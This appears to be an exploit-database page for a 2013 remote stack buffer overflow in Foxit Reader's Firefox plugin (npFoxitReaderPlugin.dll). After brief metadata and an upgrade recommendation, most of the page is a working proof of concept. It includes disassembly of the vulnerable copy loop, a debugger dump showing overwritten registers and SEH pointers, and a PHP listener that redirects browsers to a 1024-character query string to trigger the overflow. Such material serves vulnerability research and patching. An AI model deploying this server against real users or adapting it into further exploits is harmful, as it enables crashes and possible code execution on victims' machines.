header-logo
Suggest Exploit
vendor:
Foxit Reader
by:
rgod
9,3
CVSS
HIGH
Remote Stack Buffer Overflow
119
CWE
Product Name: Foxit Reader
Affected Version From: Foxit Reader 5.4.3.0920
Affected Version To: Foxit Reader 5.4.4.1128
Patch Exists: YES
Related CWE: N/A
CPE: a:foxitsoftware:foxit_reader:5.4.4.1128
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Microsoft Windows, Mozilla Firefox 17.0.1
2013

Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong Query String Remote Stack Buffer Overflow PoC

Foxit Reader is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. An attacker can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will likely crash the application.

Mitigation:

Upgrade to the latest version of Foxit Reader.
Source

Exploit-DB raw data:

<?php
/*
Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong 
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod

(listener)

Tested against Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128

File: npFoxitReaderPlugin.dll
Version: 2.2.1.530

Product url: http://www.foxitsoftware.com/downloads/
Last version setup file: FoxitReader544.11281_enu_Setup.exe

Usage:
Launch from the command line, then browse port 6666 with Firefox.
You can test it also through this url:

http://192.168.0.1/x.pdf?[A x 1024]

File must be existing or the server should be responding with
the proper Content-Type header.

vulnerable code, npFoxitReaderPlugin.dll:

;------------------------------------------------------------------------------
 L1000162F:
  		push	ebx
  		push	esi
  		push	edi
  		mov	edi,ebp
  		or	ecx,FFFFFFFFh
  		xor	eax,eax
  		xor	ebx,ebx
  		xor	esi,esi
  		repne scasb
  		not	ecx
  		dec	ecx
  		test	ecx,ecx
  		jle	L100016E4
 L1000164A:
  		mov	al,[esi+ebp]
  		mov	word ptr [esp+18h],0000h
  		cmp	al,25h
  		jz 	L10001661
  		mov	ecx,[esp+1Ch]
  		mov	[ebx+ecx],al
  		jmp	L100016CE
 L10001661:
  		mov	al,[esi+ebp+01h]
  		cmp	al,30h
  		jl 	L1000166D
  		cmp	al,39h
  		jle	L1000167D
 L1000166D:
  		cmp	al,41h
  		jl 	L10001675
  		cmp	al,46h
  		jle	L1000167D
 L10001675:
  		cmp	al,61h
  		jl 	L100016C6
  		cmp	al,66h
  		jg 	L100016C6
 L1000167D:
  		mov	dl,[esi+ebp+01h]
  		inc	esi
  		inc	esi
  		lea	ecx,[esp+10h]
  		mov	[esp+18h],dl
  		push	ecx
  		mov	al,[esi+ebp]
  		lea	edx,[esp+1Ch]
  		push	L100450D4
  		push	edx
  		mov	[esp+25h],al
  		call	SUB_L10006421
  		mov	eax,[esp+1Ch]
  		lea	ecx,[esp+24h]
  		push	eax
  		push	L100450D0
  		push	ecx
  		call	SUB_L100063CF
  		mov	eax,[esp+34h]
  		mov	dl,[esp+30h]
  		add	esp,00000018h
  		mov	[ebx+eax],dl
  		jmp	L100016CE
 L100016C6:
  		mov	ecx,[esp+1Ch]
  		mov	byte ptr [ebx+ecx],25h
 L100016CE:
  		inc	ebx
  		mov	edi,ebp
  		or	ecx,FFFFFFFFh
  		xor	eax,eax
  		inc	esi
  		repne scasb
  		not	ecx
  		dec	ecx
  		cmp	esi,ecx
  		jl 	L1000164A
 L100016E4:
  		mov	edx,[esp+1Ch]
  		pop	edi
  		pop	esi
  		mov	eax,00000001h
  		mov	byte ptr [ebx+edx],00h
  		pop	ebx
  		pop	ebp
  		pop	ecx
  		retn
;------------------------------------------------------------------------------

this copy loop ends up in overwriting stack pointers, then 
(by attaching to plugin-container.exe):

(f48.1778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
10016852 8906            mov     dword ptr [esi],eax  ds:0023:41414141=????????
...
Attempt to write to address 41414141
...

also SEH pointers are overwritten
*/

error_reporting(0);

set_time_limit(0);

$port = 6666;

$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
                "Server: Apache\r\n".
                "Location: /x.pdf?".str_repeat("A",1024)."\r\n".
                "Content-Type: text/html\r\n\r\n";

$____boom     = "HTTP/1.1 200 OK\r\n".
                "Server: Apache\r\n".
                "Accept-Ranges: bytes\r\n".
                "Content-Length: 60137\r\n".
                "Content-Type: application/pdf\r\n".
                "Connection: keep-alive\r\n\r\n";

$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);

if (!$socket) {
  echo "$errstr ($errno)\n";
} else {
  echo "Listening on public tcp port ".$port." \n";  
  while ($conn = stream_socket_accept($socket)) {
    $line=fgets($conn);
    echo $line."\n";
    if (strpos($line,".pdf")){
      fwrite($conn,$____boom);
    }
    else {
      fwrite($conn,$____redirect);
    }
    fclose($conn);
  }
  fclose($socket);
}
?>